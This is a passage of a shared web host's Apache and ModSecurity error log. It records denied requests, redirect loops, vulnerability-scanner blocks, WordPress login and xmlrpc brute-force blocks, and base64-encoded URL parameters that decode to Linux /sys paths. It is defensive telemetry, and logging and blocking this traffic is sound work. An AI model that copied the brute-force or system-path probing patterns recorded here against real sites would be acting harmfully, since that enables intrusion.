https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:20:05.366619 2026] [access_compat:error] [pid 646876:tid 646930] [remote 57.141.14.88:49494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:05.366898 2026] [access_compat:error] [pid 646876:tid 646930] [remote 57.141.14.88:49494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:05.490303 2026] [security2:error] [pid 648189:tid 648340] [remote 17.22.237.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ztVWSojQL4F7upKCByQAA7XU"] [Sat Jun 13 18:20:05.506025 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.7:46547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:05.506451 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.7:46547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:05.615339 2026] [core:error] [pid 646876:tid 647008] [client 45.86.200.42:33895] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:05.615363 2026] [core:error] [pid 646876:tid 647008] [client 45.86.200.42:33895] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:05.631053 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.60:38172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:05.631327 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.60:38172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:05.742558 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.80:23847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:05.742977 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.80:23847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:05.812347 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:20:05.812618 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:20:05.848921 2026] [security2:error] [pid 648189:tid 648466] [client 189.217.192.30:50289] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3ztVWSojQL4F7upKCB1wAAAPA"] [Sat Jun 13 18:20:05.849068 2026] [security2:error] [pid 648189:tid 648466] [client 189.217.192.30:50289] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3ztVWSojQL4F7upKCB1wAAAPA"] [Sat Jun 13 18:20:05.886507 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.21:54373] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:05.886997 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.21:54373] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:05.987504 2026] [security2:error] [pid 646876:tid 646908] [remote 109.123.245.70:50088] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai3ztdyTkdrNlD40tSG8igAAdB0"] [Sat Jun 13 18:20:06.169226 2026] [security2:error] [pid 648189:tid 648353] [client 189.217.192.30:50290] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3ztlWSojQL4F7upKCB-AAAAIU"] [Sat Jun 13 18:20:06.169370 2026] [security2:error] [pid 648189:tid 648353] [client 189.217.192.30:50290] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3ztlWSojQL4F7upKCB-AAAAIU"] [Sat Jun 13 18:20:06.176869 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.7:60005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:06.177310 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.7:60005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:06.342491 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:20:06.342856 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:20:06.371900 2026] [security2:error] [pid 648189:tid 648341] [remote 17.22.237.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ztlWSojQL4F7upKCCBwAAsXY"] [Sat Jun 13 18:20:06.625260 2026] [core:error] [pid 648189:tid 648394] [client 45.86.200.14:50331] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:06.625285 2026] [core:error] [pid 648189:tid 648394] [client 45.86.200.14:50331] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:06.742482 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.88:49498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:06.742778 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.88:49498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:06.831889 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:06.832330 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:07.070471 2026] [security2:error] [pid 648189:tid 648300] [remote 17.241.219.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zt1WSojQL4F7upKCCNQAAzk4"] [Sat Jun 13 18:20:07.091360 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.24:57304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:07.091841 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.24:57304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:07.106937 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.55:38391] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:07.107371 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.55:38391] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:07.188639 2026] [security2:error] [pid 648189:tid 648474] [client 45.86.200.34:34461] ModSecurity: Access denied with code 406 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file "/opt/mod_security/hg_rules.conf"] [line "655"] [id "900155"] [msg "WP Brute UA block"] [hostname "canappcocdjuarez.com"] [uri "/wp-admin/images/"] [unique_id "ai3zt1WSojQL4F7upKCCOwAAAPg"] [Sat Jun 13 18:20:07.251481 2026] [security2:error] [pid 648189:tid 648440] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/json/tests/fail001.phpt"] [unique_id "ai3zt1WSojQL4F7upKCCPgAAANs"] [Sat Jun 13 18:20:07.338977 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:07.339250 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:07.504250 2026] [security2:error] [pid 648189:tid 648309] [remote 17.241.219.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zt1WSojQL4F7upKCCTAAA6Vc"] [Sat Jun 13 18:20:07.760453 2026] [security2:error] [pid 648189:tid 648274] [remote 17.22.245.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zt1WSojQL4F7upKCCWQAArjQ"] [Sat Jun 13 18:20:07.847585 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2V2ZW50MC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:07.848042 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2V2ZW50MC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:07.953953 2026] [security2:error] [pid 648189:tid 648284] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zt1WSojQL4F7upKCCZgAAkz4"] [Sat Jun 13 18:20:08.092430 2026] [core:error] [pid 648189:tid 648482] [client 45.86.200.4:39205] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:08.092460 2026] [core:error] [pid 648189:tid 648482] [client 45.86.200.4:39205] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:08.375293 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:08.375744 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:08.377010 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.12:26246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:08.377253 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.12:26246] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:08.546939 2026] [core:error] [pid 648189:tid 648446] [client 45.86.200.32:23611] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:08.546959 2026] [core:error] [pid 648189:tid 648446] [client 45.86.200.32:23611] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:08.656151 2026] [security2:error] [pid 648189:tid 648257] [remote 17.22.245.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zuFWSojQL4F7upKCChgAAxCM"] [Sat Jun 13 18:20:08.687959 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.63:25766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:08.688242 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.63:25766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:08.699050 2026] [access_compat:error] [pid 648189:tid 648244] [remote 